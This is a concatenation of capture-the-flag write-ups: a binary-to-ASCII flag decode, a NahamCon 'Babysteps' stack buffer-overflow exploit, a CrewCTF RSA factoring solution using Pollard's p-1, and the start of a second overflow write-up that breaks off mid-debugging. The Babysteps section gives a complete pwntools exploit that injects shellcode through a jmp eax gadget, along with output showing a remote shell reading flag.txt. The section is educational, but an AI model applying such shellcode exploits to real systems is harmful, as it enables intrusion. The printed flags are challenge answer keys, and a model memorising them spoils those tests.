<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The watch uses 8 “led’s” that blinks red and green. This is binary data that can be translated to ascii.

```011100110110100001100011011101000110011001111011010100110110100000110011011100100011000101100110011001100010110101110100010010000011000101110011001011010110100101110011001011010110111000110000001011010111010000110001011011010011001100101101011101000011000000101101011100000100000101101110001100010110001101111101```
After coverting binary to ascci: `shctf{Sh3r1ff-tH1s-is-n0-t1m3-t0-pAn1c}` |
# Babysteps - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Binary Exploitation, 385 Points
## Description
 ## Babysteps Solution
Let's run ```checksec``` on the attached file [babysteps](./Babysteps):```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babysteps]└──╼ $ checksec Babysteps[*] '/nahamcon/binary_exploitation/Babysteps' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
As we can see we have [NX disabled](https://ctf101.org/binary-exploitation/no-execute/), [No Stack Canary](https://ctf101.org/binary-exploitation/stack-canaries/).
Let's run the binary:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babysteps]└──╼ $ ./babysteps _)_ .-'(/ '-. / ` \ / - - \ (` a a `) \ ^ / '. '---' .' .-`'---'`-. / \ / / ' ' \ \ _/ /| |\ \_ `/|\` |+++++++|`/|\` /\ /\ | `-._.-` | \ / \ / |_ | | _| | _| |_ | (ooO Ooo)
=== BABY SIMULATOR 9000 ===How's it going, babies!!Are you ready for the adventure of a lifetime? (literally?)
First, what is your baby name?evyatarPefect! Now let's get to being a baby!
CHOOSE A BABY ACTIVITYa. Whineb. Cryc. Screamd. Throw a temper tantrume. Sleep.```
By observing the attached source code [./babysteps.c](./babysteps.c) we can see the follow:```cvoid ask_baby_name() { char buffer[BABYBUFFER]; puts("First, what is your baby name?"); return gets(buffer);}
int main(int argc, char **argv){ ... puts("How's it going, babies!!"); puts("Are you ready for the adventure of a lifetime? (literally?)"); puts(""); ask_baby_name(); ...}```
We can see classic buffer overflow on ```ask_baby_name``` function.
Let's find the offset between the ```buffer``` to ```EIP``` using ```gdb```:```asm┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babysteps]└──╼ $ gdb babystepsgef➤ disassemble ask_baby_name Dump of assembler code for function ask_baby_name: 0x08049299 <+0>: push ebp 0x0804929a <+1>: mov ebp,esp 0x0804929c <+3>: push ebx 0x0804929d <+4>: sub esp,0x14 0x080492a0 <+7>: call 0x80490e0 <__x86.get_pc_thunk.bx> 0x080492a5 <+12>: add ebx,0x2d5b 0x080492ab <+18>: sub esp,0xc 0x080492ae <+21>: lea eax,[ebx-0x1f40] 0x080492b4 <+27>: push eax 0x080492b5 <+28>: call 0x8049050 <puts@plt> 0x080492ba <+33>: add esp,0x10 0x080492bd <+36>: sub esp,0xc 0x080492c0 <+39>: lea eax,[ebp-0x18] 0x080492c3 <+42>: push eax 0x080492c4 <+43>: call 0x8049040 <gets@plt> 0x080492c9 <+48>: add esp,0x10 0x080492cc <+51>: mov ebx,DWORD PTR [ebp-0x4] 0x080492cf <+54>: leave 0x080492d0 <+55>: ret End of assembler dump.```
Let's add a breakepoint right after the ```gets``` function:```asmgef➤ b *ask_baby_name+48Breakpoint 1 at 0x80492c9```
Run and search for the input pattern:```asmgef➤ rStarting program: /nahamcon/binary_exploitation/babysteps/babysteps _)_ .-'(/ '-. / ` \ / - - \ (` a a `) \ ^ / '. '---' .' .-`'---'`-. / \ / / ' ' \ \ _/ /| |\ \_ `/|\` |+++++++|`/|\` /\ /\ | `-._.-` | \ / \ / |_ | | _| | _| |_ | (ooO Ooo)
=== BABY SIMULATOR 9000 ===How's it going, babies!!Are you ready for the adventure of a lifetime? (literally?)
First, what is your baby name?evyatar
Breakpoint 1, 0x080492c9 in ask_baby_name ()
[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd070 → "evyatar"$ebx : 0x0804c000 → 0x0804bf0c → <_DYNAMIC+0> add DWORD PTR [eax], eax$ecx : 0xf7fa5580 → 0xfbad208b$edx : 0xfbad208b$esp : 0xffffd060 → 0xffffd070 → "evyatar"$ebp : 0xffffd088 → 0xffffd0a8 → 0x00000000$esi : 0xf7fa5000 → 0x001e4d6c$edi : 0xf7fa5000 → 0x001e4d6c$eip : 0x080492c9 → <ask_baby_name+48> add esp, 0x10$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────────────────── stack ────0xffffd060│+0x0000: 0xffffd070 → "evyatar" ← $esp0xffffd064│+0x0004: 0xf7fe88f0 → pop edx0xffffd068│+0x0008: 0xfbad208b0xffffd06c│+0x000c: 0x080492a5 → <ask_baby_name+12> add ebx, 0x2d5b0xffffd070│+0x0010: "evyatar"0xffffd074│+0x0014: 0x00726174 ("tar"?)0xffffd078│+0x0018: 0xffffd0a8 → 0x000000000xffffd07c│+0x001c: 0x0804948e → <main+445> add esp, 0x10─────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80492c0 <ask_baby_name+39> lea eax, [ebp-0x18] 0x80492c3 <ask_baby_name+42> push eax 0x80492c4 <ask_baby_name+43> call 0x8049040 <gets@plt> → 0x80492c9 <ask_baby_name+48> add esp, 0x10 0x80492cc <ask_baby_name+51> mov ebx, DWORD PTR [ebp-0x4] 0x80492cf <ask_baby_name+54> leave 0x80492d0 <ask_baby_name+55> ret 0x80492d1 <main+0> lea ecx, [esp+0x4] 0x80492d5 <main+4> and esp, 0xfffffff0─────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "babysteps", stopped 0x80492c9 in ask_baby_name (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x80492c9 → ask_baby_name()[#1] 0x8049496 → main()────────────────────────────────────────────────────────────────────────────────────────────gef➤ search-pattern evyatar[+] Searching 'evyatar' in memory[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffd070 - 0xffffd077 → "evyatar" gef➤ info frameStack level 0, frame at 0xffffd090: eip = 0x80492c9 in ask_baby_name; saved eip = 0x8049496 called by frame at 0xffffd0c0 Arglist at 0xffffd088, args: Locals at 0xffffd088, Previous frame's sp is 0xffffd090 Saved registers: ebx at 0xffffd084, ebp at 0xffffd088, eip at 0xffffd08c```
Before we calculate the offset between the ```buffer``` to ```eip``` we can see that our input stored on ```EAX```:```asm$eax : 0xffffd070 → "evyatar"```
It's can help us to build the payload.
So the buffer locates on ```0xffffd070``` and ```EIP``` on ```0xffffd08c``` so the offset is ```28``` bytes:```console... | buffer[BUFFER_SIZE] | 12 bytes | EIP | ...```
So because we know the buffer on ```eax``` we can put ```NOP*28``` and put our shellcode after the ```EIP``` and set to ```EIP``` gadget of ```jmp eax```:```console... | /x90 * 28 (Address in EAX) | gadget on "jmp eax" (EIP) | ....```
Let's find the relevant gadget:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babysteps]└──╼ $ ROPgadget --binary babysteps | grep "jmp eax"0x08049543 : add eax, ebx ; jmp eax0x08049545 : jmp eax0x0804953c : mov eax, dword ptr [eax + ebx - 0x1c78] ; add eax, ebx ; jmp eax```
The relevant gadget is ```0x08049545 : jmp eax```.
Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html) with the following [code](./exp_babysteps.py):```pythonfrom pwn import *
elf = ELF('./babysteps')libc = elf.libc
if args.REMOTE: p = remote('challenge.nahamcon.com', 31879)else: p = process(elf.path)
# payload bufferpayload = b"\x90"*28payload += p32(0x8049545)payload += asm(shellcraft.sh())payload += asm(shellcraft.exit())
p.recvuntil('?')p.sendline(payload)p.interactive()```
Run it:```python┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babysteps]└──╼ $ python3 exp_babysteps.py REMOTE[*] '/nahamcon/binary_exploitation/babysteps/babysteps' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] '/usr/lib32/libc-2.31.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to challenge.nahamcon.com on port 31879: Done[*] Switching to interactive mode (literally?)
First, what is your baby name?$ hostnamebabysteps-cff24dc585091927-688f7f999b-4bfwf$ lsbabystepsbindevetcflag.txtliblib32lib64libx32usr$ cat flag.txtflag{7d4ce4594f7511f8d7d6d0b1edd1a162}```
And we get the flag ```flag{7d4ce4594f7511f8d7d6d0b1edd1a162}```. |
# toydl
## Challenge [[Link]](https://ctftime.org/task/20472)> Somebody gives many clue for decrypting ciphertext. How do you obtain the flag?> nc toydl.crewctf-2022.crewc.tf 1337
## Solution
After connecting to the server, we got:```== proof-of-work: disabled ==n: 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269
Here is RSA encrypted flag.(e=65537)7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459
Let's see a property of numbers... I like small numbers.
pow(2, x, n) = 3, x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194pow(2, x, n) = 6, x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229195pow(2, x, n) = 7, x->1711445377659847937601048743127792894663395582035721437850764667958715668936426339862746933835485061086301989324627651083245932409004488051470920327234756771433694118073902607544207633552099991451060285991062573131579425718487903656405450657236154345643778100618362544607755400925661988243449576179608268106517192pow(2, x, n) = 9, x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390pow(3, x, n) = 4, x->1363952586418552326838027389457770381128348610341916654151049344040269791768048789580711074747324279253953986869951673094759791136335614290642926045930520993156736257909660908648437081973019508017016877769804013904226195162132557973767673754417051913608582789200470895254896416316547292509925572389642012264907490pow(3, x, n) = 7, x->2108313327065898035640892415345563086173030498575489939276428678662590490764646819880954837849939911577079891606499075752927419013712227778532427019242881857120209568990729106084788120925368694053101846896564389670119774572485264744679044261124989413694839721244251831062925927717237690766950273365675428680548680pow(4, x, n) = 3, x->2076118641589166085567213874123474567491402237019668147884288468645748227900602149506213192343093244218866119520289447791172877431433341258605333332347317311240605414266962400678327394383961953495485042589683815930048091844890318004699674982043472077122232159707521022410989077157770575872817558884492139975614597pow(4, x, n) = 7, x->855722688829923968800524371563896447331697791017860718925382333979357834468213169931373466917742530543150994662313825541622966204502244025735460163617378385716847059036951303772103816776049995725530142995531286565789712859243951828202725328618077172821889050309181272303877700462830994121724788089804134053258596pow(4, x, n) = 9, x->1877469889177079455053894938667943424677543639315402238904501278153912261758212062437915383244704679687173149389701217269887883138108116784618615861670626484227947292204071839248050805306694938550823147090782711307799339026711804663742765655502389105918314304669055113267447785101409219802625454353801733443663195pow(5, x, n) = 3, x->2133766932864388673682415264428852563157697531212805381722606537415880821651881836036219743693469157186116448622886351607608930829881035994695888699244352664133706885871664208865202356948720814126562878822367646312138979081062675067312895961013235414261084030444892478136847891250703661546259439777289170770933244pow(5, x, n) = 4, x->1409828699698033208091409044455165366643801419932373553123260771987699896353688393694756863763560622086506122042233901651495199885942636834433947550336356542178907165298626723075515405354701129627152693478823016506389518956567226250580121882030622556782873851604640300443552173844660124075798887496649067556217390pow(5, x, n) = 7, x->3916704810437927145600864918236836170491099995953699168541731264707734332610664820402524451306018121752526504056848858498261740094610196113519273038900804576322610451175905222231364299872297068281255941214365432478262573598957328534058633443808701127122560630454143760365394739477719428783885592620907691725814382pow(5, x, n) = 9, x->4267533865728777347364830528857705126315395062425610763445213074831761643303763672072439487386938314372232897245772703215217861659762071989391777398488705328267413771743328417730404713897441628253125757644735292624277958162125350134625791922026470828522168060889784956273695782501407323092518879554578341541866488pow(6, x, n) = 2, x->939292781082112016281996120029640558513504271209074729744679536785999346698143634739122352482233665730748662161995597875421203578208037954730627469631250345432329905035343676336544953322597208540536869444672643207916253721052582779000448220996637632239183670918288993354842447149274646102688185469428348953985987pow(6, x, n) = 3, x->3610242006920393415879069499128370862097017398238793383983471781489169041387840838409899650400729951770369517139759758749494539871309093510453474136416765931074197167624362247880663013599860728339757006732497197896677435605085079912312720396172472464413116358573684869754218291278989217783331141360936744061146012pow(6, x, n) = 4, x->1878585562164224032563992240059281117027008542418149459489359073571998693396287269478244704964467331461497324323991195750842407156416075909461254939262500690864659810070687352673089906645194417081073738889345286415832507442105165558000896441993275264478367341836577986709684894298549292205376370938856697907971974pow(6, x, n) = 7, x->4382451963215414951923427484295917714075099595415988392264685392449057783423441922126020145423600985804385331915992918388410803253438498450309874925605271432370368439308396818520118534947166364332426731242512326875404549273011444416465627832281990548624424694040059123529752908838818278511190008322930537534907342pow(6, x, n) = 8, x->2817878343246336048845988360088921675540512813627224189234038610357998040094430904217367057446700997192245986485986793626263610734624113864191882408893751036296989715106031029009634859967791625621610608334017929623748761163157748337001344662989912896717551012754866980064527341447823938308064556408285046861957961pow(6, x, n) = 9, x->2670949225838281399597073379098730303583513127029718654238792244703169694689697203670777297918496286039620854977764160874073336293101055555722846666785515585641867262589018571544118060277263519799220137287824554688761181884032497133312272175175834832173932687655395876399375844129714571680642955891508395107160026pow(7, x, n) = 3, x->302667136777917447885639399855798746783792281082047426137560224394234690761198213214781903275125974443412434383258389499537763965208434880475329103516951799391535587982643066857765962424901807944918698865193821688853878387134235170443608989618620354405251870857636073985822876614487518015398151778674906411808601pow(7, x, n) = 4, x->782048530527862007921345086825967824809921804253677698357640394456486443141294396991806703662463153174674499822712272620352264740247063132442983714411111748779418558073361927132656469123102907840771323625012596232213516808553077385813641065260507991821817461035116755889737568582054061118287348291920439180743213pow(7, x, n) = 9, x->605334273555834895771278799711597493567584562164094852275120448788469381522396426429563806550251948886824868766516778999075527930416869760950658207033903598783071175965286133715531924849803615889837397730387643377707756774268470340887217979237240708810503741715272147971645753228975036030796303557349812823617202pow(8, x, n) = 3, x->1384079094392777390378142582748983044994268158013112098589525645763832151933734766337475461562062162812577413013526298527448584954288894172403555554898211540827070276177974933785551596255974635663656695059789210620032061229926878669799783321362314718081488106471680681607326051438513717248545039256328093317076398pow(8, x, n) = 4, x->3033023192001670288107377079438674280407014446298578742485434212183445592057322982099348001921975745000745452867836904416610495633011420976789401070698677517671018048439803949478138644614971957920195917451446560736395792884091775127542112411446073397768200019661315908739373825618842575924012884553576728676754666pow(8, x, n) = 6, x->2900590690393612534431831122468320185197775381162401469832242751855554947962396257387149462523050035312950139447444750735753832770794604660798256090247550299662579300397876908524620918563460614623754653785512490988229957671972766233570839527085351416965588116302338635977012964247935005210551481533116457655453731pow(8, x, n) = 7, x->570481792553282645867016247709264298221131860678573812616921555986238556312142113287582311278495020362100663108209217027748644136334829350490306775744918923811231372691300869181402544517366663817020095330354191043859808572829301218801816885745384781881259366872787514869251800308553996081149858726536089368839064pow(8, x, n) = 9, x->2768158188785554780756285165497966089988536316026224197179051291527664303867469532674950923124124325625154826027052597054897169908577788344807111109796423081654140552355949867571103192511949271327313390119578421240064122459853757339599566642724629436162976212943361363214652102877027434497090078512656186634152796pow(9, x, n) = 4, x->681976293209276163419013694728885190564174305170958327075524672020134895884024394790355537373662139626976993434975836547379895568167807145321463022965260496578368128954830454324218540986509754008508438884902006952113097581066278986883836877208525956804291394600235447627448208158273646254962786194821006132453745pow(9, x, n) = 7, x->1054156663532949017820446207672781543086515249287744969638214339331295245382323409940477418924969955788539945803249537876463709506856113889266213509621440928560104784495364553042394060462684347026550923448282194835059887286242632372339522130562494706847419860622125915531462963858618845383475136682837714340274340```
I have no idea how these small numbers are used, but I found some interesting obeservation:```pow(2, x1, n) = 3, x1->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194pow(2, x2, n) = 9, x2->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390```
We have `pow(2, x1, n)^2 == pow(2, x2, n)`. Let's assume `X = 2 * x1 - x2`, then we have `X % phi(n) == X % (p - 1) * (q - 1) == 0`.
This means `p - 1` and `q - 1` must be divisible by `X`.
Luckily, `X` is smooth per [factordb](http://factordb.com/index.php?query=4549534788002505432161065619158011420610521669447868113728151318275168388085984473149022002882963617501118179301755356624915743449517131465184101606048016276506527072659705924217207966922457936880293876177169841104593689326137662691313168617169110096652300029491973863109060738428263863886019326830365093015131998), then `p - 1` and `q - 1` must be smooth too. Thus we can apply [Pollard's p-1 algorithm](https://en.wikipedia.org/wiki/Pollard%27s_p_%E2%88%92_1_algorithm) here to factorize `n`.
Once we get `n = p * q`, we can solve the standard [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) given `p, q, e, c, n`.
```pythonfrom Crypto.Util.number import long_to_bytes
# pow(2, x, n) = 3, x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194# pow(2, x, n) = 9, x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390
n = 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269e = 65537c = 7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459x1 = 4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194x2 = 3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390assert power_mod(2, x1, n) == 3assert power_mod(2, x2, n) == 9X = 2 * x1 - x2# X % (p - 1) == 0 and X % (q - 1) == 0X_factors = [x for (x, m) in factor(X) for _ in range(m)]assert reduce(lambda x, y: x * y, X_factors) == X
# Pollard's p-1 algorithm# https://en.wikipedia.org/wiki/Pollard%27s_p_%E2%88%92_1_algorithm
def factor(n): a = 2 b = 2 while True: a = power_mod(a, b, n) p = gcd(a - 1, n) if 1 < p < n: return p b += 1
# q = factor(n)q = 2667409485887452272770831798706991010944832728754072378737171107257239406526140122282372492002898629230454157958918945658178559315566157078990098518311104787p = n // qassert is_prime(p) and is_prime(q) and p * q == nassert X % (p - 1) == 0 and X % (q - 1) == 0
d = inverse_mod(e, (p - 1) * (q - 1))m = power_mod(c, d, n)flag = long_to_bytes(m).decode().strip('@')assert flag == 'crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}'print(flag)```
## Flag`crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}`
## References- [Pollard's p-1 algorithm](https://en.wikipedia.org/wiki/Pollard%27s_p_%E2%88%92_1_algorithm)- [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) |
# Babiersteps - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Binary Exploitation, 50 Points
## Description
 ## Babiersteps Solution
Let's run ```checksec``` on the attached file [babiersteps](./babiersteps):```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babiersteps]└──╼ $ checksec babiersteps[*] '/nahamcon/binary_exploitation/babiersteps' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
As we can see we have [NX enabled](https://ctf101.org/binary-exploitation/no-execute/), [No Stack Canary](https://ctf101.org/binary-exploitation/stack-canaries/).
Let's run the binary:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babiersteps]└──╼ $ ./babiersteps./babiersteps Everyone has heard of gets, but have you heard of scanf?uuuu```
By decompiling the binary using [Ghidra](https://github.com/NationalSecurityAgency/ghidra) we can see the following ```main``` function:```cundefined8 main(void){ undefined local_78 [112]; puts("Everyone has heard of gets, but have you heard of scanf?"); __isoc99_scanf(&DAT_00402049,local_78); return 0;}```
And we can see also the following ```win``` function:```cvoid win(void){ execve("/bin/sh",(char **)0x0,(char **)0x0); return;}```
We can see on the ```main``` function classic buffer overflow.
Let's find the offset between the buffer ```local_78``` to ```rip``` using ```gdb```:```asm┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babiersteps]└──╼ $ gdb babierstepsgef➤ disassemble mainDump of assembler code for function main: 0x00000000004011ea <+0>: endbr64 0x00000000004011ee <+4>: push rbp 0x00000000004011ef <+5>: mov rbp,rsp 0x00000000004011f2 <+8>: sub rsp,0x70 0x00000000004011f6 <+12>: lea rdi,[rip+0xe13] # 0x402010 0x00000000004011fd <+19>: call 0x401070 <puts@plt> 0x0000000000401202 <+24>: lea rax,[rbp-0x70] 0x0000000000401206 <+28>: mov rsi,rax 0x0000000000401209 <+31>: lea rdi,[rip+0xe39] # 0x402049 0x0000000000401210 <+38>: mov eax,0x0 0x0000000000401215 <+43>: call 0x4010a0 <__isoc99_scanf@plt> 0x000000000040121a <+48>: mov eax,0x0 0x000000000040121f <+53>: leave 0x0000000000401220 <+54>: ret End of assembler dump.gef➤ b *main+54Breakpoint 1 at 0x401220```
Run it and search for the pattern:```asmgef➤ rStarting program: /nahamcon/binary_exploitation/babiersteps/babiersteps Everyone has heard of gets, but have you heard of scanf?AAAAAAAA
Breakpoint 1, 0x0000000000401220 in main ()
